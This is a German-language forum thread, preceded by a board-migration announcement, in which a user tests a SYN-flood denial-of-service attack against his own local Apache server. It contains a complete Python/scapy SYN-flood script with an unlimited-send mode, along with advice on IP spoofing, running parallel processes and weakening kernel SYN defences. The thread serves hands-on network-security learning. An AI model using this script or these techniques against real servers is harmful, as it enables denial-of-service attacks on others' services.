• Hallo liebe Userinnen und User,

    nach bereits längeren Planungen und Vorbereitungen sind wir nun von vBulletin auf Xenforo umgestiegen. Die Umstellung musste leider aufgrund der Serverprobleme der letzten Tage notgedrungen vorverlegt werden. Das neue Forum ist soweit voll funktionsfähig, allerdings sind noch nicht alle der gewohnten Funktionen vorhanden. Nach Möglichkeit werden wir sie in den nächsten Wochen nachrüsten. Dafür sollte es nun einige der Probleme lösen, die wir in den letzten Tagen, Wochen und Monaten hatten. Auch der Server ist nun potenter als bei unserem alten Hoster, wodurch wir nun langfristig den Tank mit Bytes vollgetankt haben.

    Anfangs mag die neue Boardsoftware etwas ungewohnt sein, aber man findet sich recht schnell ein. Wir wissen, dass ihr alle Gewohnheitstiere seid, aber gebt dem neuen Board eine Chance.
    Sollte etwas der neuen oder auch gewohnten Funktionen unklar sein, könnt ihr den "Wo issn da der Button zu"-Thread im Feedback nutzen. Bugs meldet ihr bitte im Bugtracker, es wird sicher welche geben die uns noch nicht aufgefallen sind. Ich werde das dann versuchen, halbwegs im Startbeitrag übersichtlich zu halten, was an Arbeit noch aussteht.

    Neu ist, dass die Boardsoftware deutlich besser für Mobiltelefone und diverse Endgeräte geeignet ist und nun auch im mobilen Style alle Funktionen verfügbar sind. Am Desktop findet ihr oben rechts sowohl den Umschalter zwischen hellem und dunklem Style. Am Handy ist der Hell-/Dunkelschalter am Ende der Seite. Damit sollte zukünftig jeder sein Board so konfigurieren können, wie es ihm am liebsten ist.


    Die restlichen Funktionen sollten eigentlich soweit wie gewohnt funktionieren. Einfach mal ein wenig damit spielen oder bei Unklarheiten im Thread nachfragen. Viel Spaß im ngb 2.0.

DOS-Attacke im eigenen Netz auf Port 80/TCP

d235

Neu angemeldet

Registriert
18 Sep. 2016
Beiträge
14
Hallo,

wie der Titel des Threads andeutet, möchte ich eine DOS-Attacke (mittels SYN-Flood) auf meinen lokalen Webserver durchführen. Habe dazu in C was geschrieben, und anhand des Traffics (wireshark) ist erkennbar, dass auf beiden Seiten das gesendet wird, was in der Theorie verlangt ist.

Nur blöd, dass mein Webserver unverändert schnell antwortet -.-.

Hat jemand sowas schonmal selber bei sich getestet?
Sollte ich vielleicht mit Threads arbeiten?

Bisher werden 20k Anfragen geschickt, habe auch mal versucht im Sekundentakt zu schicken, aber leider keinen Erfolg oder ist das einfach alles zu wenig?
 

sia

gesperrt

Registriert
26 März 2015
Beiträge
5.931
Ort
FFM (NSFW)
Kannst du das Programm nicht einfach mehrmals gleichzeitig starten? Wie sieht der Quellcode aus? Welcher Webserver ist es? Welche Betriebssysteme?

Im lokalen Netz hast du auch die Möglichkeit, deiner Netzwerkkarte mehrere IPs zuzuweisen.

Ich würde das eher mit Python und scapy machen:

jamesdotcom.com/?p=264 schrieb:
[src=python]import sys
import random
import logging # This and the following line are used to omit the IPv6 error displayed by importing scapy.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import argparse
import os
import urllib2
if os.getuid() != 0: # Checks to see if the user running the script is root.
print("You need to run this program as root for it to function correctly.")
sys.exit(1)
parser = argparse.ArgumentParser(description='This educational tool sends SYN requests to the target specified in the arguments.') # This and preceding 4 lines used to control the arguments entered in the CLI.
parser.add_argument('-d', action="store",dest='source', help='The destination IP address for the SYN packet')
parser.add_argument('-c', action="store",dest='count', help='The amount of SYN packets to send. (enter X for unlimited)')
parser.add_argument('-p', action="store",dest='port', help='The destination port for the SYN packet')
args = parser.parse_args()
if len(sys.argv) == 1: # Forces the help text to be displayed if no arguments are entered
parser.print_help()
sys.exit(1)
args = vars(args) # converts the arguments into dictionary format for easier retrieval.
iterationCount = 0 # variable used to control the while loop for the amount of times a packet is sent.
if args['count'] == "X" or args['count'] == "x": # If the user entered an X or x into the count argument (wants unlimited SYN segments sent)
while (1 == 1):
a=IP(dst=args['source'])/TCP(flags="S", sport=RandShort(), dport=int(args['port'])) # Creates the packet and assigns it to variable a
send(a, verbose=0) # Sends the Packet
iterationCount = iterationCount + 1
print(str(iterationCount) + " Packet Sent")
else: # executed if the user defined an amount of segments to send.
while iterationCount < int(args['count']):
a=IP(dst=args['source'])/TCP(flags="S", sport=RandShort(), dport=int(args['port'])) # Creates the packet and assigns it to variable a
send(a, verbose=0) # Sends the Packet
iterationCount = iterationCount + 1
print(str(iterationCount) + " Packet Sent")
print("All packets successfully sent.")[/src]
 

d235

Neu angemeldet

Registriert
18 Sep. 2016
Beiträge
14
  • Thread Starter Thread Starter
  • #3
Scapy wollte ich eigentlich ungern benutzen, da ich nichts relevantes dabei lerne.

In C nutze ich raw sockets.
Vereinfacht gesagt bin ich damit in der Lage IP- und TCP-Pakete selber zu konstruieren.

Das Spoofing der Sender-IP geschieht über entsprechende Angaben im IP-Header, ich habs also mit mehreren IP-Adressen schon probiert. Arpcache auf dem Ziel-Host habe ich dementsprechend erweitert, damit SYN/ACK seinen Weg ins lokale Netz findet (offensichtlich ohne beantwortet zu werden ;)).

httpd -v auf Ziel-Host:
Server version: Apache/2.4.23 (Unix)
Server built: Jul 5 2016 07:35:16

Betriebssysteme:
Quell-Host (C-Programm): 64-Bit
Ziel-Host (Webserver): 32-Bit
Beides archlinux 4.7.4
Hardware: Ziel-Host ist ein Laptop von 2008 (2GB RAM, Intel Atom ~1,5 GHz), Quell-Host deutlich(!) besser.
Kommunikation der beiden über WLAN (IEEE 802.11)

Ich werde das Programm in mehreren Terminals mal laufen lassen...
Gibt es denn jemanden der sowas Ähnliches schonmal gemacht hat. Hätte gerne quantitative Angaben in Bezug auf Anzahl Pakete, Dauer, RAM, ...
 

sia

gesperrt

Registriert
26 März 2015
Beiträge
5.931
Ort
FFM (NSFW)
Gibt es denn jemanden der sowas Ähnliches schonmal gemacht hat. Hätte gerne quantitative Angaben in Bezug auf Anzahl Pakete, Dauer, RAM, ...

Könnte jemanden geben, der das mal gemacht hat :D
Da sollten selbst bei einem Atom schon mehrere 10.000 Verbindungen nötig sein. Schau mal mit [kw]iperf[/kw], wie viel Bandbreite der Atom auf die Reihe bringt. Ein SYN-Paket ist ca. 60 Byte groß (Header + SYN + MSS/ECR/timestamp).

Du musst die Bandbreite sättigen, daher reicht auch nicht ein Prozess.

Schau dir auf dem Server mal die offenen Verbindungen mit [kw]ss -s[/kw] an. Mit folgenden Befehlen siehst du auf dem Server die empfangenen und auf dem Client die gesendeten SYNs an:
[src=bash]ss -t state syn-recv
ss -t state syn-sent[/src]

Mit [kw]watch -n1[/kw] kannst du das jede Sekunde automatisch tun lassen, was die SYN-Pakete vermutlich eher einfängt.
 

BurnerR

Bot #0384479

Registriert
20 Juli 2013
Beiträge
5.507
Gibt es eigentlich ein Buch, dass solche Themen Netzwerktechnik- und sicherheit auf diese Weise praxisnah abhandelt, so dass man sich lokal mal ausprobieren kann? Oder ist es schon am besten sich da selber Aufgaben/Themen zu setzen und zu bearbeiten am besten geeignet?
 

d235

Neu angemeldet

Registriert
18 Sep. 2016
Beiträge
14
  • Thread Starter Thread Starter
  • #7
So, ich habe es jetzt hinbekommen.
In der jetzigen Version von archlinux 4.7.4 mussten SYN-Cookies abgeschaltet und der Kernel-Parameter tcp_max_syn_backlog von 256 auf 64 heruntergesetzt werden.

Mit diesen Einstellungen war es möglich den Server nach ca. 8k SYN-Anfragen (~2:00 min) von einer IP-Adresse, lahmzulegen.
In einigen Fällen ist der Server nach 3k SYN-Anfragen nicht erreichbar gewesen.

Server:
Server version: Apache/2.4.23 (Unix)
Server built: Jul 5 2016 07:35:16
 
Oben